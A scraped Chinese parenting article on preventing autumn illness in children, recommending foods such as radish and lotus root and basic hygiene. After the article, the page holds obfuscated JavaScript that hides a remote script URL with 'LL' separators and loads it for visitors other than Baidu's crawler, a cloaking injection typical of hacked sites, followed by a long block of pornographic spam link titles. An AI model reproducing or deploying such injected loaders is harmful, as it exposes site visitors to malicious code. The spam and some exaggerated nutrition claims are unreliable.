當前位置:首頁 > 母嬰 > 育兒知識 > 正文

秋季兒童疾病的預防

2017-04-10 14:37:35  來源:360常識網   熱度:
導語:秋季的時候晝夜溫差是相當大的,有很多的孩子抵抗力不強的就很可能出現一些疾病的發生,家長們一定要細心的去照顧他們,最好是要掌握一些兒

秋季的時候晝夜溫差是相當大的,有很多的孩子抵抗力不強的就很可能出現一些疾病的發生,家長們一定要細心的去照顧他們,最好是要掌握一些兒童保健的知識,這樣的話才會降低自己孩子發生疾病的風險,尤其是感冒,這是在秋季里面最容易出現的一種疾病,雖然說感冒是一種很小的疾病,但是如果一旦感冒發生的話也是會讓孩子感覺到身體特別的疲憊,根本沒有心思去學習。

菜花

質地細嫩,營養豐富,易消化吸收,適用于脾胃虛弱、消化功能不強的寶寶食用。尤其是菜花能刺激細胞制造出對機體有益的保護酶-Ⅱ型酶,可以使小腸粘膜活性提高30倍,提高分解有害物質的能力,使寶寶身體處于良性循環狀態。

芋頭

含有蛋白質、碳水化合物及鈣、磷、鐵等微量元素,且質地軟滑,容易消化,有健胃作用,特別適合生病后處于恢復狀態的寶寶食用。

銀耳

被稱為“素中之寶”,能夠滋陰、潤肺、生津、降血脂,含有豐富的維生素C以及鐵、鈣等元素,容易消化,是清補的滋養食品。加上冰糖熬水燉服是一種理想的滋陰潤肺佳品,可以用來調理寶寶秋季肺燥干咳。但是腹瀉的寶寶則不可食用,以免加重病情。

秋藕

秋季的藕脆嫩多汁,甜味濃郁,容易消化,富含鐵、鈣等微量元素,植物蛋白質、維生素,淀粉含量也很豐富,有明顯的補益氣血,增強人體免疫力作用。生吃有清潤的功效,尤其適合上火的寶寶,對防治秋燥有獨特的效果。熟藕的藥性則由涼變溫,沒有了散瘀清熱的功能,變成了益胃健脾、養血補虛,特別適合脾胃虛弱病后的寶寶食用。

蘿卜

含有較多的水分、維生素C和一定量的鈣、磷、碳水化合物,還含有少量的蛋白質、鐵等有益成分,具有清熱化痰的功效,初秋吃蘿卜,能祛除盛夏時節心中的虛火,并迅速恢復元氣。生吃具有止渴、清內熱作用,熟食可消食健脾。蘿卜能夠調理脾胃,對秋季常見的消化不良、風熱型感冒、扁桃體炎、咳喘多痰、咽喉痛等疾病也有輔助治療作用。

所以一定要讓自己的孩子保持一個比較良好的衛生習慣,每天都要去更換自己的衣服,而且要常常去洗手的,不能夠在不洗手的時候就去吃飯,尤其是自己睡的床單里面要保持一定的干凈整潔,還可以通過一些飲食來調理好他們的身體,比方說吃一些蘿卜的,秋季里面吃蘿卜是具有清熱解毒的功效。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
尤物精品视频一区二区三区| 国产精品臀控福利在线观看| 亚洲精品第一国产综合境外资源| 亚洲精品无码高潮喷水A片软| 中文字幕精品视频| 亚洲国产精品无码久久一线 | 青青青国产精品手机在线观看| 精品无码一区二区三区电影| 91精品啪在线观看国产线免费| 十八18禁国产精品www| 久久精品国产99精品国产2021 | 亚洲日韩精品无码专区加勒比| 亚洲一区精品视频在线| 久久亚洲精品无码aⅴ大香 | jizz国产精品jizz中国| 69国产精品视频免费| 精品少妇无码AV无码专区| 久久青青草原精品国产| 久久精品人人槡人妻人人玩AV| 99久久综合给久久精品| 亚洲精品白色在线发布| 91精品成人免费国产片| 国产精品亚洲片在线va| 99精品热这里只有精品| 蜜臀AV无码精品人妻色欲| 无码精品不卡一区二区三区| 国产精品麻豆成人AV电影艾秋| 国产69精品麻豆久久久久| 国产精品无码专区在线播放| 国产成人精品男人的天堂网站| 无码精品人妻一区二区三区AV| 亚洲国产精品人人做人人爱| 精品国产人成亚洲区| 国产在线无码精品电影网| 无码人妻精品一区二区三区在线| 久久午夜无码鲁丝片直播午夜精品| 精品久久一区二区三区| 柠檬福利精品视频导航| 久久国产精品77777| 国产午夜亚洲精品| 国产美女精品视频免费观看|